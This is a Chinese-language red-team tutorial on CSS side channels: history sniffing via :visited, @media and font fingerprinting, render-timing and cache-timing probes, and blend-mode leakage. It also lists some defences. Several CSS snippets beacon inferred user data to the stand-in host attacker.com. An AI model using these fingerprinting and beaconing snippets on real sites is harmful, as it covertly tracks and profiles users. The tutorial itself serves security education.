目录


一、CSS侧信道概念

CSS 侧信道是指:虽然CSS不能直接读取数据,但可以通过间接手段推断页面或用户的信息。这些技术利用CSS的渲染行为、时序差异、选择器匹配结果等侧面通道。

侧信道vs直接泄露

直接泄露侧信道
数据获取URL外泄(主动请求)观察到副作用
精度精确字符布尔值/范围
必要条件url()可用url()不需要
隐蔽性低(有外网请求)极高

二、浏览器历史嗅探

:visited 伪类探测

a:visited {
  background-image: url('https://attacker.com/visited/example.com');
}

历史:

  • < 2010年:CSS可直接基于:visited设置任何属性,可100%探测浏览历史
  • 2010年后:浏览器限制:visited只能用color相关属性
  • 现代浏览器::visited仍可读取颜色,但通过getComputedStyle()获取的颜色会被统一返回

现代绕过方法

1. 通过渲染时间差异

a:visited {
  /* 复杂的滤镜/转换——导致重绘时间差异 */
  filter: blur(0.1px);
}
 
/* JS侧——通过测量布局时间判断是否应用了filter */

2. 通过像素颜色差异(Pixel Perfect Attack)
利用mix-blend-mode产生微小的像素差异:

a:visited {
  mix-blend-mode: difference;
}
/* 通过Canvas渲染 + 逐像素对比判断 */

3. 通过iframe + CSS选择器

/* 在不同源的iframe中无法跨DOM,但可以在父页面匹配iframe的URL属性 */
a[href="https://secret.example.com"]:visited {
  /* 父页面中的 <a> 标签可以匹配特定URL */
}

三、视口大小指纹

通过@media查询

@media (max-width: 1920px) and (min-width: 1680px) {
  /* 用户屏幕宽度 1680-1920 */
  body { background-image: url('https://attacker.com/res/1680-1920'); }
}
 
@media (max-width: 1680px) and (min-width: 1440px) {
  body { background-image: url('https://attacker.com/res/1440-1680'); }
}
 
@media (pointer: coarse) {
  /* 触屏设备 */
  body { background-image: url('https://attacker.com/device/touch'); }
}
 
@media (hover: none) {
  /* 无悬停能力(可能是移动端) */
  body { background-image: url('https://attacker.com/device/nohover'); }
}

指纹维度的信息

@media特性可推断信息
width/height屏幕分辨率
resolutionDPI缩放
pointer触摸屏/鼠标
hover悬停能力
color/color-gamut显示器色域
prefers-color-scheme明/暗模式
prefers-reduced-motion无障碍设置
monochrome是否为单色设备
dynamic-rangeHDR能力

窗口大小侧信道

攻击者可以通过iframe加载目标页面,并修改iframe的尺寸来探测页面在不同尺寸下的渲染差异:

<iframe src="https://target.com" id="target" width="300"></iframe>
<!-- 通过修改width观察目标页面的@media响应 -->

四、渲染时间侧信道

原理

不同内容触发的CSS规则会导致不同的渲染时间。攻击者通过JS测量渲染时间,推断页面内容。

// 测量复杂选择器匹配的渲染时间
const start = performance.now();
// 注入一个会大量重排的CSS规则
document.querySelector('#sensitive').style.animation = 'x .001s';
requestAnimationFrame(() => {
  const time = performance.now() - start;
  if (time > 5) {
    // 重排耗时较长 → 选择器匹配成功
  } else {
    // 重排耗时短 → 选择器未匹配
  }
});

复杂选择器的性能差异

/* 大量元素匹配会触发更多渲染工作 */
input[type="password"]:not(:placeholder-shown) ~ * {
  /* 如果密码框含有内容,触发大量CSS重算 */
  transition: all .001s;
}

五、字体与系统探测

系统字体指纹

/* 通过 font-family fallback 探测系统安装了哪些字体 */
span { font-family: "Calibri", "FallbackFont1", sans-serif; }
span[style*="Calibri"] {
  /* 如果匹配到Calibri(Windows系统),触发URL请求 */
  background-image: url('https://attacker.com/font/calibri');
}

通过 Canvas + CSS 字体测量

更精确的字体探测通过JS实现:

// 测量某字体下特定字符串的渲染宽度
function fontExists(fontName) {
  const canvas = document.createElement('canvas');
  const ctx = canvas.getContext('2d');
  ctx.font = `72px "${fontName}", serif`;
  const width1 = ctx.measureText('abcdefghijklmnopqrstuvwxyz').width;
  ctx.font = '72px serif';
  const width2 = ctx.measureText('abcdefghijklmnopqrstuvwxyz').width;
  return width1 !== width2;
}

已知字体指纹价值

系统安装的字体组合可以推断:

  • 操作系统版本(新版本Windows新字体)
  • 安装的软件(Office = Calibri等字体)
  • 用户的语言区域设置

六、CSS混合模式泄露

mix-blend-mode原理

CSS混合模式(mix-blend-mode)决定了元素与背景的混合方式。不同的混合模式会产生不同的像素输出,通过对比可以推断重叠区域的原始颜色/内容。

.overlay {
  mix-blend-mode: difference;
  background-color: #fff;
  position: absolute;
  top: 0;
  left: 0;
}

旁路CSRF Token泄露

假设CSRF Token作为文本渲染在页面上,但不在input中:

/* 利用 -webkit-text-security 和自定义渲染 */
.csrf-token {
  -webkit-text-security: disc; /* 密码遮罩效果 */
  font-family: monospace;
}
/* 不同字符宽度不同,通过测量元素宽度可推断字符数 */

SVG滤镜CSS泄露

/* SVG feColorMatrix 滤镜 */
svg filter feColorMatrix {
  values: "1 0 0 0 0  0 1 0 0 0  0 0 1 0 0  0 0 0 1 0";
}
/* 不同的矩阵值产生不同色彩 → 截屏对比可推断原始颜色 */

七、CSS与性能侧信道

CSS :has() 选择器性能差异

/* 如果页面有某元素,:has()匹配成功 */
html:has(input[type="password"]) {
  --has-password: 1;
}
 
/* 通过JS的getComputedStyle性能差异推断 */

@container 查询

@container (min-width: 100px) {
  /* 容器查询满足条件时触发 */
  .target { background: url(https://attacker.com/container_match); }
}

资源加载时序攻击

// 测量background-image加载时间
const img = new Image();
const start = performance.now();
img.src = 'https://target.com/sensitive-image.png';
img.onload = () => {
  const time = performance.now() - start;
  // 如果time极短 → 图片已缓存(用户之前访问过)
  // 如果time长 → 图片未缓存(首次加载)
};

八、红队视角总结

CSS侧信道技术矩阵

技术推断信息精度难度
:visited探测浏览历史布尔
@media查询屏幕/设备信息范围
渲染时间差异元素存在性布尔
字体探测系统字体列表精确
mix-blend-mode重叠区域颜色范围
资源加载时序缓存状态布尔

实际攻击价值

  1. 浏览器历史探测 → 推断用户身份/兴趣/使用习惯
  2. 屏幕分辨率 → 唯一性指纹的一部分
  3. 系统字体 → 操作系统版本,选择合适exploit
  4. 缓存状态 → 判断用户是否访问过特定网站
  5. @media特性 → 辅助构建浏览器指纹

防御对策

  • 浏览器厂商不断收紧CSS侧信道(:visited限制已证明)
  • CSP可以限制外部样式加载
  • SameSite Cookie、frame-ancestors 限制iframe嵌入
  • 使用隐私浏览模式(消除历史记录痕迹)
  • 禁用自定义CSS的用户输入(或严格净化)

返回 CSS基础总目录 | 前端基础总目录